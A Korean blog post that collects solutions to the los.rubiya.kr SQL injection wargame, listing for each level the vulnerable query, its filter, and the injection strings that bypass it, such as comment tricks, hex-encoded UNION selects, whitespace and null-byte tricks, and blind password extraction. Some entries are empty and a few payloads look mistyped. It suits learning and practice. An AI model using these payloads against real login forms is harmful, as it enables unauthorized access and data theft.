본문 바로가기
CTF_/los.rubiya.kr

[SQL] Los.rubiya.kr 풀이 정리

by 낭람_ 2020. 2. 16.
반응형

[gremlin]

query : select id from prob_gremlin where id='{$_GET[id]}' and pw='{$_GET[pw]}

- x

bypass : 주석을 통한 우회

url : id='||id='admin'--%20

query : select id from prob_gremlin where id=''||id='admin'-- ' and pw='' 


bypass : 문자열 작성을 통한 우회

url : id=' union select "admin"--%20 

query : select id from prob_gremlin where id='' union select "admin"-- ' and pw='' 



[cobolt] 

#gremlin과 동일, 대신 gremlin은 admin이 아니여도 통과

query : select id from prob_cobolt where id='{$_GET[id]}' and pw=md5('{$_GET[pw]}') 

- x

bypass : 주석을 통한 우회

url : id='||id='admin'--%20

query : select id from prob_cobolt where id=''||id='admin'-- ' and pw=md5('') 


bypass : 문자열 작성을 통한 우회

url : id=' union select "admin"--%20 

query : select id from prob_cobolt where id='' union select "admin"-- ' and pw=md5('') 



[goblin]

query : select id from prob_goblin where id='guest' and no={$_GET[no]} 

- preg_match( ', ", ` )

bypass : 0x를 통한 문자열 작성

url : no=0 union select 0x61646d696e

query : select id from prob_goblin where id='guest' and no=0 union select 0x61646d696e


query : select id from prob_goblin where id='guest' and no={$_GET[no]} 

blind sql injection

bypass : no=1을 하면 guest가 나온다.

no!=1을 하면 guest가 아닌 값이 나온다.

url : no=0 or no != 1

query : select id from prob_goblin where id='guest' and no=0 or no != 1



[orc]

query : select id from prob_orc where id='admin' and pw={$_GET[pw]} 

- blind sql injection

bypass : length(), substr()를 통해 pw 구하기

url : ' or length(pw)=8 --%20

url : ' or substr(pw,1,1)='0' --%20

query : select id from prob_orc where id='admin' and pw='' or length(pw)=8 -- '

query : select id from prob_orc where id='admin' and pw='' or substr(pw,1,1)='0' -- '



[wolfman]

query : select id from prob_wolfman where id='guest' and pw='{$_GET[pw]}' 

- preg_match( ) (공백%20)

bypass : %0a, %09, %0d, %0b, %0c를 통한 우회 

url : pw='%0aor%0aid='admin'%23

query : select id from pro_wolfman where id='admin' and pw='' or id='admin'#'


bypass : 띄어쓰기를 사용하지 않는다.

url : pw='||id='admin'--%20

query : select id from pro_wolfman where id='admin' and pw=''||id='admin''


[darkelf]

query : select id from prob_darkelf where id='guest' and pw='{$_GET[pw]}' 

- preg_match( or, and )

bypass : ||, &&를 통한 우회 (||, &&는 띄어쓰기를 안해도 된다)

url : pw='||id='admin'--%20

query : select id from pro_darkelf where id='admin' and pw=''||id='admin'-- '


[orge]



[troll]

query : select id from prob_troll where id='{$_GET[id]}' 

- preg_match( /admin/ ) (대소문자 구분 x)

bypass : mysql에서는 대소문자를 구분하지 않는다.

url : id=Admin

query : select id from pro_troll where id='Admin'


[vampire]

query : select id from prob_vampire where id='{$_GET[id]}

- str_replace("admin", "")

bypass : str_replace를 이용한다.

url : id=aadmindmin

- 밑줄 부분이 사라지고 admin만 남는다.

query : select id from pro_vampire where id='admin'


[skeleton]

query : select id from prob_skeleton where id='guest' and pw='{$_GET[pw]}' and 1=0 

- x

bypass : 주석을 사용

url : pw='or id='admin'--%20

query : select id from prob_skeleton where id='guest' and pw=''or id='admin'-- ' and 1=0


bypass : ;%00을 통하여 sql문 끝내기

url : pw='or id='admin';%00

query : select id from prob_skeleton where id='guest' and pw=''or id='admin';' and 1=0


[golem]



[darkknight]



[bugbear]



[giant]



[assassin]



[succubus]

query : select id from prob_succubus where id='{$_GET[id]}' and pw='{$_GET[pw]}' 

- preg_match( ' )

bypass : \를 이용하면 우회가 가능

url : id=\&&pw=||id=0x61646d696e--%20

query : select id from prob_succubus where id='\' and pw='||id=0x61646d696e-- ' 

- 밑줄친 부분이 문자열이 되면서 우회가 된다.



[zombie-assassin]

query : select id from prob_zombie_assassin where id='{$_GET[id]}' and pw='{$_GET[pw]}' 

- addslashes()

bypass : addslashes는 널값도 \가 추가된다.

url : id=%00&&pw=%20--e696d64616x0=di||

query : select id from prob_succubus where id='0\' and pw='||id=0x61646d696e-- '

- 밑줄친 부분이 문자열이 되면서 우회가 된다.



[nightmare]

query : select id from prob_nightmare where pw=('{$_GET[pw]}') and id!='admin' 

- preg_match( #, - ), auto type casting

bypass : ;%00으로 문장을 끝낸다.(뒤의 문장 무시)

문자=0을 할 경우 문자가 자동으로 0이 되면서 0=0 이 되고 참이 된다.

url : pw=')=0;%00

query : select id from pro_nightmare where pw=('')=0;') and id!='admin'

- ('')=0 은 참이므로 id에 값이 들어간다.



[xavis]

query : select id from prob_xavis where id='admin' and pw='{$_GET[pw]}' 

- 유니코드 검색

bypass : hex()를 통한 검색

url : pw=' or length(hex(pw))=24--%20

url : pw=' or substr(hex(pw),1,1)='0'--%20

query : select id from pro_xavis where id='admin' and pw='' or length(hex(pw))=24-- '

query : select id from pro_xavis where id='admin' and pw='' or substr(hex(pw),1,1)='0'-- '


반응형

'CTF_ > los.rubiya.kr' 카테고리의 다른 글

[los.rubiya.kr] nightmare #18  (0) 2018.09.30
[los.rubiya.kr] succubus #17  (0) 2018.09.26
[los.rubiya.kr] zombie_assassin #16  (0) 2018.09.19
[los.rubiya.kr] assassin #15  (0) 2018.09.17
[los.rubiya.kr] giant #14  (0) 2018.09.12

댓글